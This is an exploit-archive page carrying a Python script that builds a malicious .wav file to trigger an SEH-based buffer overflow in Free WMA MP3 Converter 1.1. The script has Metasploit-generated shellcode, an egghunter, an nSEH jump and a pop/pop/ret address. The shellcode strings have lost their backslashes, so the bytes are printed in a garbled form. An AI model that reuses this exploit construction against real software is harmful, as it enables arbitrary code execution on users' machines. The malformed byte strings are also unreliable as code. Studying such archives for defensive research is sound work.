[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Free WMA MP3 Converter 1.1 Buffer Overflow Exploit (SEH)
# Published : 2010-11-12
# Author : Dr_IDE
# Previous Title : Foxit Reader 4.1.1 Stack Buffer Overflow Exploit
# Next Title : Foxit Reader 4.1.1 Stack Overflow Exploit - Egghunter Mod
#!/usr/bin/env python
##############################################################################
#
# Free WMA MP3 Converter 1.1 Buffer Overflow Exploit (SEH)
# Coded By: Dr_IDE
# Date: November 10, 2010
# Download: http://www.eusing.com/free_wma_converter/mp3_wma_converter.htm
# Tested on: Windows XPSP3
# Greets: edb team
# Notes: Egghunter was for fun, not required though.
#
###############################################################################
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
# Egg is already injected
code=(
"x80x87x78x68x80x87x78x68x89xe1xd9xeexd9x71xf4x58x50x59"
"x49x49x49x49x43x43x43x43x43x43x51x5ax56x54x58x33x30x56"
"x58x34x41x50x30x41x33x48x48x30x41x30x30x41x42x41x41x42"
"x54x41x41x51x32x41x42x32x42x42x30x42x42x58x50x38x41x43"
"x4ax4ax49x4bx4cx4ax48x47x34x43x30x45x50x45x50x4cx4bx51"
"x55x47x4cx4cx4bx43x4cx45x55x42x58x45x51x4ax4fx4cx4bx50"
"x4fx45x48x4cx4bx51x4fx51x30x43x31x4ax4bx51x59x4cx4bx50"
"x34x4cx4bx43x31x4ax4ex46x51x49x50x4cx59x4ex4cx4dx54x49"
"x50x42x54x45x57x49x51x49x5ax44x4dx43x31x48x42x4ax4bx4c"
"x34x47x4bx50x54x47x54x45x54x43x45x4bx55x4cx4bx51x4fx47"
"x54x45x51x4ax4bx45x36x4cx4bx44x4cx50x4bx4cx4bx51x4fx45"
"x4cx43x31x4ax4bx4cx4bx45x4cx4cx4bx45x51x4ax4bx4cx49x51"
"x4cx46x44x44x44x48x43x51x4fx50x31x4ax56x45x30x50x56x42"
"x44x4cx4bx51x56x50x30x4cx4bx51x50x44x4cx4cx4bx44x30x45"
"x4cx4ex4dx4cx4bx43x58x45x58x4bx39x4ax58x4dx53x49x50x42"
"x4ax50x50x43x58x4ax50x4dx5ax44x44x51x4fx45x38x4ax38x4b"
"x4ex4cx4ax44x4ex50x57x4bx4fx4dx37x42x43x43x51x42x4cx42"
"x43x43x30x41x41")
eggy=(
"x66x81xCAxFFx0Fx42x52x6Ax02x58xCDx2Ex3Cx05x5Ax74xEFxB8"
"x80x87x78x68x8BxFAxAFx75xEAxAFx75xE7xFFxE7")
nops=("x90" * 8)
nseh=("xEBx06x90x90")
rseh=("xEFxF7x4Ax00") #Universal P/P/R - Wmpcon.exe
buf1=("x41" * 1000)
buf2=("x42" * (4116 - len(buf1+nops+code)))
junk=("x43" * (8000 - len(buf1+buf2+nseh+rseh)))
evil=(buf1+nops+code+buf2+nseh+rseh+nops+eggy+junk);
f1 = open('Dr_IDE.wav','w');
f1.write(evil);
f1.close();
#[http://pocoftehday.blogspot.com]